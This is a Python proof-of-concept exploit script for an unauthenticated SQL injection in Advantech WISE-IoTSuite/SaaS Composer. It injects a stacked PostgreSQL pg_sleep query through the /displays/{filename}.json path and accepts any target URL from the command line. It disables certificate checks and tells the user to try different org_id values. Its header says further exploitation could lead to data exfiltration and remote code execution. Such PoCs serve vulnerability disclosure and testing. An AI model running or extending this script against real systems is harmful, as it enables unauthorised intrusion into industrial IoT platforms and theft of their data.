#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Title: Advantech SaaS Composer – SQL Injection PoC # Vendor: Advantech Corporation # Product: WISE-IoTSuite/SaaS Composer # Vulnerability: SQL Injection (Unauthenticated) # Affected Component: /displays/{filename}.json?org_id= # Threat: Data Exfiltration, Remote Code Execution via PostgreSQL stacked queries # Author: Loi Nguyen Thang, HCMUTE Information Security Club # # Description: # This PoC demonstrates a critical SQL injection vulnerability affecting # Advantech WISE-IoTSuite/SaaS Composer. The parameter `filename` is concatenated unsafely # into a PostgreSQL query. Attackers can inject stacked queries such as: # # '; select 1 from pg_sleep(10) -- # # Response delay is used to confirm that SQL queries are executed on the backend, # potentially with high-privileged DB accounts. Under certain deployments, # PostgreSQL commands may lead to Remote Code Execution. # # Usage: # python3 advantech_sqli_poc.py --url https://target --org 1 # The --org must be chosen according to the target's configuration. Default is 1. Try different values if unsure (e.g., 1, 2, 3). # import requests import time import argparse import urllib.parse import warnings import sys warnings.filterwarnings("ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning) SLEEP_TIME = 10 TIMEOUT = 15 def build_payload_path(org_id): return f"/displays/filename.json'; select pg_sleep({SLEEP_TIME}) --?org_id={org_id}" def test_vulnerability(base_url, org_id): """ Perform the time-based SQL injection test. """ if not base_url.startswith(("http://", "https://")): base_url = "https://" + base_url payload = build_payload_path(org_id) target = urllib.parse.urljoin(base_url, payload) print(f"[+] Target URL : {base_url}") print(f"[+] Injecting : org_id={org_id}") print(f"[+] Payload : {payload}") print(f"[+] Full URL : {target}") print("----------------------------------------------------") start = time.time() try: requests.get(target, timeout=TIMEOUT, verify=False) except requests.exceptions.Timeout: print(f"[!] ERROR: HTTP timeout (>{TIMEOUT}s). Target may be down or filtered.") sys.exit(2) except requests.exceptions.RequestException as e: print(f"[!] ERROR: {str(e)}") sys.exit(3) duration = time.time() - start print(f"[*] Response time: {duration:.2f}s") if duration >= SLEEP_TIME: print("\n=== RESULT: VULNERABLE ===") print("[+] The server appears vulnerable to time-based SQL injection.") print("[+] PostgreSQL query executed successfully (pg_sleep triggered).") print("[+] Further exploitation such as RCE may be possible depending on DB privileges.") sys.exit(0) else: print("\n=== RESULT: NOT VULNERABLE ===") print("[-] No time delay detected; injection appears ineffective.") sys.exit(1) def main(): parser = argparse.ArgumentParser( description="Advantech SaaS Composer - SQL Injection PoC" ) parser.add_argument("--url", required=True, help="Target base URL") parser.add_argument("--org", type=int, default=1, help="Organization ID (integer)") args = parser.parse_args() print("====================================================") print(" Advantech SaaS Composer - SQL Injection PoC") print(" (Time-Based / PostgreSQL pg_sleep)") print("====================================================") print(f"[*] Using org_id = {args.org}\n") test_vulnerability(args.url, args.org) if __name__ == "__main__": main()